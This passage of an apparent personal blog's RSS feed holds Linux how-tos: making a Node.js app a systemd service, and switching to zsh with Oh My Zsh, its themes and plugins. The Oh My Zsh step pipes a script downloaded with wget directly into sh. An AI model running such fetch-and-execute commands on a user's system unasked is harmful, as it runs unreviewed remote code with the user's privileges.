&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo systemctl restart apache2
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="securing-your-phpmyadmin-instance"&gt;
Securing Your phpMyAdmin Instance
&lt;a href="#securing-your-phpmyadmin-instance" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;If you want to secure more the phpMyAdmin instance, by having one extra authentication,
follow the guide below for phpMyAdmin.&lt;/p&gt;
&lt;h2 id="links"&gt;
Links
&lt;a href="#links" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.digitalocean.com/community/tutorials/how-to-install-linux-apache-mysql-php-lamp-stack-ubuntu-18-04"&gt;How To Install Linux, Apache, MySQL, PHP (LAMP) stack on Ubuntu 18.04&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.digitalocean.com/community/tutorials/how-to-create-a-new-user-and-grant-permissions-in-mysql"&gt;How To Create a New User and Grant Permissions in MySQL&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-phpmyadmin-on-ubuntu-18-04"&gt;How To Install and Secure phpMyAdmin on Ubuntu 18.04&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>Node.js App Service Commands</title><link>https://thanoskoutr.com/posts/nodejs-app-service-commands/</link><pubDate>Sun, 26 Jul 2020 16:40:00 +0300</pubDate><guid>https://thanoskoutr.com/posts/nodejs-app-service-commands/</guid><description>
&lt;img src="https://thanoskoutr.com/covers/node-systemd-plus.png"/&gt;
&lt;p&gt;In this post, we will see how can make a node app a systemd service.&lt;/p&gt;
&lt;p&gt;Suppose you have built a Node.js application and you have been running it all the time with &lt;code&gt;npm start&lt;/code&gt; or by using another application like &lt;code&gt;nodemon&lt;/code&gt;, so that you don&amp;rsquo;t need to restart the server. That is acceptable for development, but once you want to deploy that application somewhere this becomes infeasible.&lt;/p&gt;
&lt;p&gt;By deployment, we don&amp;rsquo;t always mean something big and serious like AWS, Heroku, Containers. We can also mean your laptop or PC, that you want to run your app seamlessly, without needing to explicitly commanding it.&lt;/p&gt;
&lt;p&gt;Thats where systemd comes in, and helps as to make our app a service. This means that it can run by itself on system restart, have logging capabilities and we can control it with the usual &lt;code&gt;systemctl&lt;/code&gt; commands as any other service in our system.&lt;/p&gt;
&lt;h2 id="create-a-unit-file-for-systemd"&gt;
Create a unit file for systemd
&lt;a href="#create-a-unit-file-for-systemd" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;To make our app a systemd service we need to create a unit configuration file named something like &lt;code&gt;your_nodejs_app.service&lt;/code&gt; and we have to place it in &lt;code&gt;/etc/systemd/system&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;To create and open the unit file for editing, run:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo vim /etc/systemd/system/your_nodejs_app.service
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;And add the following:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-ini" data-lang="ini"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;[Unit]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;Description&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;Your nodejs app description.&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;[Service]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;ExecStart&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;/path/to/your_nodejs_app/index.js&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;Restart&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;always&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;User&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;nobody&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Note Debian/Ubuntu uses &amp;#39;nogroup&amp;#39;, RHEL/Fedora uses &amp;#39;nobody&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;Group&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;nogroup&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;# Needed only, for node installations with nvm&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;Environment&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;PATH=/usr/bin:/usr/local/bin:/home/$USER/.nvm/versions/node/v12.18.3/bin&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;Environment&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;NODE_ENV=production&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;WorkingDirectory&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;/path/to/your_nodejs_app/&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;[Install]&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#a6e22e"&gt;WantedBy&lt;/span&gt;&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;multi-user.target&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The systemd unit file syntax and keywords can be found on the &lt;a href="https://www.freedesktop.org/software/systemd/man/systemd.service.html"&gt;systemd.service man pages&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;For a more extensive guide on systemd units, read &lt;a href="https://www.digitalocean.com/community/tutorials/understanding-systemd-units-and-unit-files"&gt;Digital Ocean - Understanding Systemd Units and Unit Files&lt;/a&gt;.&lt;/p&gt;
&lt;h2 id="add-the-following-line-to-your-indexjs"&gt;
Add the following line to your &lt;code&gt;index.js&lt;/code&gt;
&lt;a href="#add-the-following-line-to-your-indexjs" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;We must also add a shebang in our Node.js javascript entry point (e.g. &lt;code&gt;index.js&lt;/code&gt;), indicating to systemd which environment should execute the program:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-js" data-lang="js"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#!/usr/bin/env node
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="fix-unix-windows-line-endings"&gt;
Fix unix-windows line endings
&lt;a href="#fix-unix-windows-line-endings" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;If we have developed the app under Windows, it is best to convert the line endings to Unix one&amp;rsquo;s. We can do this using the &lt;code&gt;dos2unix&lt;/code&gt; utility or we can also do that on vim.&lt;/p&gt;
&lt;h3 id="open-service-file-in-vim"&gt;
Open service file in vim
&lt;a href="#open-service-file-in-vim" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo vim myapp.service
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="fix-line-endings"&gt;
Fix line endings
&lt;a href="#fix-line-endings" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-vim" data-lang="vim"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;:&lt;span style="color:#66d9ef"&gt;set&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;ff&lt;/span&gt;=&lt;span style="color:#a6e22e"&gt;unix&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="save-and-quit"&gt;
Save and quit
&lt;a href="#save-and-quit" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-vim" data-lang="vim"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;:&lt;span style="color:#a6e22e"&gt;wq&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="make-sure-indexjs-is-executable"&gt;
Make sure &lt;code&gt;index.js&lt;/code&gt; is executable
&lt;a href="#make-sure-indexjs-is-executable" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;chmod +x index.js
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="restart-systemctl-to-accept-changes"&gt;
Restart systemctl to accept changes
&lt;a href="#restart-systemctl-to-accept-changes" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo systemctl daemon-reload
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="enable-service"&gt;
Enable service
&lt;a href="#enable-service" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo systemctl enable your_nodejs_app
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="start-service"&gt;
Start service
&lt;a href="#start-service" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo systemctl start your_nodejs_app
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="see-logs"&gt;
See logs
&lt;a href="#see-logs" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo journalctl -u your_nodejs_app
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="for-changes-in-source-code-to-take-effect"&gt;
For changes in source code to take effect
&lt;a href="#for-changes-in-source-code-to-take-effect" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;h3 id="restart-service"&gt;
Restart service
&lt;a href="#restart-service" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo systemctl restart your_nodejs_app
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="links"&gt;
Links
&lt;a href="#links" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://stackoverflow.com/questions/4018154/how-do-i-run-a-node-js-app-as-a-background-service"&gt;Stackoverflow - How do I run a node.js app as a background service?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://expeditedsecurity.com/blog/deploy-node-on-linux/"&gt;The ultimate guide to deploying your node app on Linux&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</description></item><item><title>ZSH Configure</title><link>https://thanoskoutr.com/posts/zsh-configure/</link><pubDate>Tue, 23 Jun 2020 16:14:18 +0300</pubDate><guid>https://thanoskoutr.com/posts/zsh-configure/</guid><description>
&lt;img src="https://thanoskoutr.com/covers/oh-my-zsh.png"/&gt;
&lt;p&gt;In this post, we will see how can change our default shell from bash to zsh. &lt;a href="https://www.zsh.org/"&gt;Zsh&lt;/a&gt; is a shell designed for interactive use, and can offer features that bash does not have, or it is difficult to implement and add.&lt;/p&gt;
&lt;p&gt;Some of these features are: &lt;em&gt;Auto Correction&lt;/em&gt;, &lt;em&gt;Syntax Highlighting&lt;/em&gt;, &lt;em&gt;Autosuggestions&lt;/em&gt;, and many more.&lt;/p&gt;
&lt;p&gt;These features can be come even more easier to add, if we use a framework for zsh, like Oh My Zsh. &lt;a href="https://ohmyz.sh/"&gt;Oh My Zsh&lt;/a&gt; is a delightful, open source, community-driven framework for managing your Zsh configuration. Oh My Zsh makes it easier to add new features with the bundled &lt;a href="https://github.com/ohmyzsh/ohmyzsh/wiki/Plugins"&gt;plugins&lt;/a&gt; that you can enable by editing a single line. You can also easily install external plugins that are provided by the community. Also, Oh My Zsh comes with over 150 available &lt;a href="https://github.com/ohmyzsh/ohmyzsh/wiki/Themes"&gt;themes&lt;/a&gt;, that can change the way you look at your terminal.&lt;/p&gt;
&lt;h2 id="install-zsh"&gt;
Install ZSH
&lt;a href="#install-zsh" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;h3 id="install-zsh-1"&gt;
Install zsh:
&lt;a href="#install-zsh-1" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;First, we need to install the zsh shell:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo apt install zsh
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Verify installation by running:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;zsh --version
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Change default shell:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;chsh -s &lt;span style="color:#66d9ef"&gt;$(&lt;/span&gt;which zsh&lt;span style="color:#66d9ef"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Log out and Log in to change shell:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Type: &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;Delete&lt;/kbd&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Verify results:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;echo $SHELL
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="install-oh-my-zsh"&gt;
Install Oh My Zsh:
&lt;a href="#install-oh-my-zsh" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sh -c &lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;$(&lt;/span&gt;wget -O- https://raw.githubusercontent.com/ohmyzsh/ohmyzsh/master/tools/install.sh&lt;span style="color:#66d9ef"&gt;)&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="configure-zsh"&gt;
Configure ZSH
&lt;a href="#configure-zsh" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h2&gt;
&lt;p&gt;Open zsh configuration file &lt;code&gt;.zshrc&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;vim .zshrc
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="theme"&gt;
Theme
&lt;a href="#theme" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;Find this value and change it:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ZSH_THEME&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;agnoster&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;A preview of &lt;code&gt;agnoster&lt;/code&gt;:&lt;/p&gt;
&lt;img src="https://user-images.githubusercontent.com/49100982/108254745-777cb400-716c-11eb-800a-a8cfa612253f.jpg" alt="agnoster-theme" class="center" style="border-radius: 8px; box-shadow: 0 12px 40px rgba(0, 0, 0, .15);" /&gt;
&lt;p&gt;Find all available themes at: &lt;a href="https://github.com/ohmyzsh/ohmyzsh/wiki/Themes"&gt;https://github.com/ohmyzsh/ohmyzsh/wiki/Themes&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Other interesting themes:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;robbyrussell&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;img src="https://user-images.githubusercontent.com/49100982/108254738-764b8700-716c-11eb-9a59-4deb8c8c6193.jpg" alt="agnoster-theme" class="center" style="border-radius: 8px; box-shadow: 0 12px 40px rgba(0, 0, 0, .15);" /&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;af-magic&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;img src="https://user-images.githubusercontent.com/49100982/108254742-76e41d80-716c-11eb-89b0-09445ce76ff0.jpg" alt="agnoster-theme" class="center" style="border-radius: 8px; box-shadow: 0 12px 40px rgba(0, 0, 0, .15);" /&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;alanpeabody&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;img src="https://user-images.githubusercontent.com/49100982/108254746-78154a80-716c-11eb-873a-6500b9d54219.jpg" alt="agnoster-theme" class="center" style="border-radius: 8px; box-shadow: 0 12px 40px rgba(0, 0, 0, .15);" /&gt;
&lt;h3 id="powerline-fonts"&gt;
Powerline Fonts
&lt;a href="#powerline-fonts" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;Many themes require installing the &lt;a href="https://github.com/powerline/fonts"&gt;Powerline Fonts&lt;/a&gt; in order to render properly.&lt;/p&gt;
&lt;p&gt;To install them for a Debian or Ubuntu based Linux distribution, run:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;sudo apt-get install fonts-powerline
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="auto-correction"&gt;
Auto Correction
&lt;a href="#auto-correction" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;Find this value and uncomment it:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;ENABLE_CORRECTION&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;true&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="neofetch"&gt;
Neofetch
&lt;a href="#neofetch" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;To run neofetch in every new shell, add to the bottom of &lt;code&gt;.zshrc&lt;/code&gt; file:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;neofetch
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="plugins"&gt;
Plugins
&lt;a href="#plugins" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
&lt;/h3&gt;
&lt;p&gt;Add each plugin at the end of &lt;code&gt;plugins=()&lt;/code&gt; variable:&lt;/p&gt;
&lt;p&gt;This plugin adds colors to man pages:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;plugins&lt;span style="color:#f92672"&gt;=(&lt;/span&gt;... colored-man-pages&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;This plugin adds completion for pip, the Python package manager:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;plugins&lt;span style="color:#f92672"&gt;=(&lt;/span&gt;... pip&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;This plugin uses the command-not-found package for zsh to provide suggested packages to be installed if a command cannot be found:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;plugins&lt;span style="color:#f92672"&gt;=(&lt;/span&gt;... command-not-found&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Easily prefix your current or previous commands with &lt;code&gt;sudo&lt;/code&gt; by pressing &lt;kbd&gt;esc&lt;/kbd&gt; twice:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-bash" data-lang="bash"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;plugins&lt;span style="color:#f92672"&gt;=(&lt;/span&gt;... sudo&lt;span style="color:#f92672"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Find all available plugins at: &lt;a href="https://github.com/ohmyzsh/ohmyzsh/wiki/Plugins"&gt;https://github.com/ohmyzsh/ohmyzsh/wiki/Plugins&lt;/a&gt;&lt;/p&gt;
&lt;h3 id="zsh-autosuggestions"&gt;
zsh-autosuggestions
&lt;a href="#zsh-autosuggestions" class="h-anchor" aria-hidden="true"&gt;#&lt;/a&gt;
